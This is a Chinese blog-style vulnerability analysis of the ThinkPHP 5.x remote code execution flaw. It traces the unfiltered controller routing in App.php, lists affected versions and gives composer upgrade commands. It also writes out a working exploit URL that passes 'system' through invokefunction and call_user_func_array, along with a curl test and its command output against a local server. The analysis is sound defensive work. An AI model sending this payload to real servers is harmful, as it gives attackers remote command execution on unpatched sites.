资讯专栏INFORMATION COLUMN

ThinkPHP 5.x 远程代码getshell漏洞实战分析

mykurisu / 3359人阅读

摘要:简介是一个免费开源的,快速简单的面向对象的轻量级开发框架,因为其易用性扩展性,已经成长为国内颇具影响力的应用开发框架漏洞解析漏洞引发的原因是框架对控制器名没有进行足够的检测,现拉取来进行测试请求路由系统解析为模块控制器方法参数列表跟踪到

ThinkPHP 简介

ThinkPHP 是一个免费开源的,快速、简单的面向对象的轻量级PHP开发框架,因为其易用性、扩展性,已经成长为国内颇具影响力的WEB应用开发框架

漏洞解析

漏洞引发的原因是框架对控制器名没有进行足够的检测,现拉取ThinkPHP v5.0.22 来进行测试

</>复制代码

  1. 请求路由
  2. => http://127.0.0.1/public/index.php?s=/index/
  3. hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l
  4. 系统解析为
  5. => 模块:index
  6. => 控制器:
  7. hinkapp
  8. => 方法:invokefunction
  9. => 参数列表:
  10. => function=call_user_func_array
  11. => vars[0]=system
  12. => vars[1][]=ls -l

跟踪到路由解析代码 thinkphplibrarythinkApp.php

</>复制代码

  1. /**
  2. * 执行模块
  3. * @access public
  4. * @param array $result 模块/控制器/操作
  5. * @param array $config 配置参数
  6. * @param bool $convert 是否自动转换控制器和操作名
  7. * @return mixed
  8. * @throws HttpException
  9. */
  10. public static function module($result, $config, $convert = null)
  11. {
  12. // ======================================================
  13. // 未进行过滤直接以 / 分解来进行解析
  14. // ======================================================
  15. if (is_string($result)) {
  16. $result = explode("/", $result);
  17. }
  18. ...
  19. // ======================================================
  20. // 未进行过滤直接赋值为 $result[1] 即
  21. hinkapp 并进行实例化
  22. // ======================================================
  23. $instance = Loader::controller(
  24. $controller, //
  25. hinkapp
  26. $config["url_controller_layer"],
  27. $config["controller_suffix"],
  28. $config["empty_controller"]
  29. );
  30. ...
  31. // =========================================
  32. // 传递 $result[2] 即 invokefunction 方法
  33. // is_callable([$instance, "invokefunction"]
  34. // =========================================
  35. if (is_callable([$instance, $action])) {
  36. // 执行操作方法
  37. $call = [$instance, $action];
  38. // 严格获取当前操作方法名
  39. $reflect = new ReflectionMethod($instance, $action);
  40. $methodName = $reflect->getName();
  41. $suffix = $config["action_suffix"];
  42. $actionName = $suffix ? substr($methodName, 0, -strlen($suffix)) : $methodName;
  43. $request->action($actionName);
  44. ...
  45. return self::invokeMethod($call, $vars);
  46. ...
  47. /**
  48. * 调用反射执行类的方法 支持参数绑定
  49. * @access public
  50. * @param string|array $method 方法
  51. * @param array $vars 变量
  52. * @return mixed
  53. */
  54. public static function invokeMethod($method, $vars = [])
  55. {
  56. if (is_array($method)) {
  57. $class = is_object($method[0]) ? $method[0] : self::invokeClass($method[0]);
  58. $reflect = new ReflectionMethod($class, $method[1]);
  59. } else {
  60. // 静态方法
  61. $reflect = new ReflectionMethod($method);
  62. }
  63. $args = self::bindParams($reflect, $vars);
  64. // ===============================================
  65. // 传递uri参数
  66. // var_dump($args);
  67. // --------------------------
  68. // array(2) {
  69. // [0]=>
  70. // string(20) "call_user_func_array"
  71. // [1]=>
  72. // array(2) {
  73. // [0]=>
  74. // string(6) "system"
  75. // [1]=>
  76. // array(1) {
  77. // [0]=>
  78. // string(5) "ls -l"
  79. // }
  80. // }
  81. // }
  82. // ===============================================
  83. self::$debug && Log::record("[ RUN ] " . $reflect->class . "->" . $reflect->name . "[ " . $reflect->getFileName() . " ]", "info");
  84. // =======================================================
  85. // 即通过 invokeFunction 传递系统调用给 call_user_func_array
  86. // 从而调用 system("ls -l")
  87. // =======================================================
  88. return $reflect->invokeArgs(isset($class) ? $class : null, $args);
  89. }
  90. ...
  91. /**
  92. * 执行函数或者闭包方法 支持参数调用
  93. * @access public
  94. * @param string|array|Closure $function 函数或者闭包
  95. * @param array $vars 变量
  96. * @return mixed
  97. */
  98. public static function invokeFunction($function, $vars = [])
  99. {
  100. $reflect = new ReflectionFunction($function);
  101. $args = self::bindParams($reflect, $vars);
  102. // 记录执行信息
  103. self::$debug && Log::record("[ RUN ] " . $reflect->__toString(), "info");
  104. return $reflect->invokeArgs($args);
  105. }

</>复制代码

  1. 漏洞测试结果
  2. # curl "http://127.0.0.1/public/index.php?s=/index/
  3. hinkapp/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls%20-l"
  4. total 13
  5. -rw-r--r-- 1 pc-user 197121 850 Sep 7 21:33 favicon.ico
  6. -rw-r--r-- 1 pc-user 197121 766 Sep 7 21:33 index.php
  7. -rw-r--r-- 1 pc-user 197121 24 Sep 7 21:33 robots.txt
  8. -rw-r--r-- 1 pc-user 197121 840 Sep 7 21:33 router.php
  9. drwxr-xr-x 1 pc-user 197121 0 Dec 26 22:18 static
受影响版本范围

ThinkPHP 5.0.x < 5.0.23
ThinkPHP 5.1.x < 5.1.31

大家看一下相关链接中github版本列表,参考github release列表的更新内容,选择对自己升级影响最小的,最好的话就是直接升级到最新版本,要想不受漏洞影响,至少应该升级为
ThinkPHP 5.0.23
ThinkPHP 5.1.31

</>复制代码

  1. composer require topthink/framework=v5.0.23
  2. composer require topthink/framework=v5.1.31
  3. 升级后确认版本已更新
  4. # composer show topthink/framework
  5. name : topthink/framework
  6. descrip. : the new thinkphp framework
  7. keywords : framework, orm, thinkphp
  8. versions : * v5.0.23
  9. type : think-framework
  10. ...
相关链接

ThinkPHP composer包列表(composer 可以拉取的版本列表)
ThinkPHP github版本列表(更新内容说明参考)
ThinkPHP 官方漏洞说明
ThinkPHP 5.x 远程代码getshell漏洞源码分析

文章版权归作者所有,未经允许请勿转载,若此文章存在违规行为,您可以联系管理员删除。

转载请注明本文地址:https://www.ucloud.cn/yun/29844.html

相关文章

发表评论

0条评论

mykurisu

|高级讲师

TA的文章

阅读更多
最新活动
阅读需要支付1元查看
<